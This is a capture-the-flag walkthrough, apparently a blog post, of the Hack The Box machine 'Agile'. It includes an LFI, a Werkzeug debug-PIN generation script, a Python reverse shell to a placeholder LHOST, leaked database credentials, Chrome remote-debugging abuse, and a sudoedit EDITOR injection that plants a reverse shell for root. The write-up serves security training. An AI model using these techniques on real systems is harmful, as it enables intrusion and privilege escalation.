4 minutes
Hackthebox Agile
Agile is a machine running on a Linux OS with a medium difficulty level. There was an unintended way to solve this machine, but it has since been patched, so we will cover the intended steps.
Foothold
The first step in a pentest is usually scanning the machine. Here, I used nmap for port scanning.
$ nmap -sV -sC -oN agile.nmap 10.10.11.203
Nmap scan report for 10.10.11.203
Host is up (0.12s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 f4:bc:ee:21:d7:1f:1a:a2:65:72:21:2d:5b:a6:f7:00 (ECDSA)
|_ 256 65:c1:48:0d:88:cb:b9:75:a0:2c:a5:e6:37:7e:51:06 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://superpass.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
The website redirects to the domain superpass.htb
, so we need to add this domain to /etc/hosts
.
The website has login and register features. After registering and logging in, we can save passwords on the website and export them as a CSV file.
While exporting passwords, I found an endpoint /download
with an LFI (Local File Inclusion) vulnerability. This can be used for further enumeration. I used ZAP to simplify making requests and getting responses.
During enumeration, I concluded that the website is running in debug mode. I then attempted to bypass the Console PIN using the LFI vulnerability. Detailed steps are available in the following reference: Cracking Flask Werkzeug Console PIN.
Here is a modified script to generate a PIN.
import hashlib
import itertools
from itertools import chain
def crack_md5(username, modname, appname, flaskapp_path, node_uuid, machine_id):
h = hashlib.md5()
crack(h, username, modname, appname, flaskapp_path, node_uuid, machine_id)
def crack_sha1(username, modname, appname, flaskapp_path, node_uuid, machine_id):
h = hashlib.sha1()
crack(h, username, modname, appname, flaskapp_path, node_uuid, machine_id)
def crack(hasher, username, modname, appname, flaskapp_path, node_uuid, machine_id):
probably_public_bits = [
username,
modname,
appname,
flaskapp_path ]
private_bits = [
node_uuid,
machine_id ]
h = hasher
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
if __name__ == '__main__':
usernames = ['www-data']
modnames = ['flask.app', 'werkzeug.debug']
appnames = ['wsgi_app', 'DebuggedApplication', 'Flask']
flaskpaths = ['/app/venv/lib/python3.10/site-packages/flask/app.py']
nodeuuids = ['345052398398'] # /sys/class/net/eth0/address
machineids = ['ed5b159560f54721827644bc9b220d00superpass.service']
combinations = itertools.product(usernames, modnames, appnames, flaskpaths, nodeuuids, machineids)
for combo in combinations:
username, modname, appname, flaskpath, nodeuuid, machineid = combo
print('==========================================================================')
crack_sha1(username, modname, appname, flaskpath, nodeuuid, machineid)
print(f'{combo}')
print('==========================================================================')
Run this script to generate several PINs, and use the generated PINs to log into the console.
After accessing the console, execute a Python script for a reverse shell. I used revshells.com to generate the reverse shell script.
import os, pty, socket
s = socket.socket()
s.connect(("LHOST", LPORT))
[os.dup2(s.fileno(), f) for f in (0, 1, 2)]
pty.spawn("bash")
User
Before getting the initial shell, I reviewed the website’s source code and found a snippet in app.py
.
---SNIPPED---
def setup_db():
db_session.global_init(app.config['SQL_URI'])
---SNIPPED---
def load_config():
config_path = os.getenv("CONFIG_PATH")
with open(config_path, 'r') as f:
for k, v in json.load(f).items():
app.config[k] = v
---SNIPPED---
Checking the environment with the env
command revealed the config file path: /app/config_prod.json
. The content of this file includes SQL_URI
, which contains credentials for MySQL.
{"SQL_URI": "mysql+pymysql://superpassuser:dSA6l7q*yIVs$39Ml6ywvgK@localhost/superpass"}
Access the database using the mysql
command and retrieve the password for user corum
from the passwords
table.
Log in via SSH as corum
with the password 5db7caa1d13cc37c9fc2
, and the user.txt
file is in the home directory.
Root
After getting a shell as corum
, I enumerated the system and found other users like edwards
and runner
. I suspected I needed to access another user before reaching root. Eventually, I noticed a Chrome process running with the remote debugging option.
Perform port forwarding from port 41829 to your local machine. Then, use chrome://inspect
for debugging. Access test.superpass.htb/vault
to find credentials for logging in as edwards
.
Reference: https://developers.google.com/cast/docs/debugging/remote_debugger
Log in via SSH as edwards
and check sudo -l
. There is a command that can be executed as dev_admin
.
Use this command to edit the contents of another file, specifically /app/venv/bin/activate
, since it will be executed when the root user logs in and can be edited by a user in the dev_admin
group.
$ ls -l /app/venv/bin/activate
-rw-rw-r-- 1 root dev_admin 1976 Aug 5 18:48 /app/venv/bin/activate
$ cat /etc/bash.bashrc | tail -n2
# all users will want the env associated with this application
source /app/venv/bin/activate
To edit the file, use the following command:
EDITOR='vim -- /app/venv/bin/activate' sudoedit -u dev_admin /app/config_test.json
Add a reverse shell command to /app/venv/bin/activate
, save the file, and set up a listener to receive the reverse shell from the root user.
Rooted!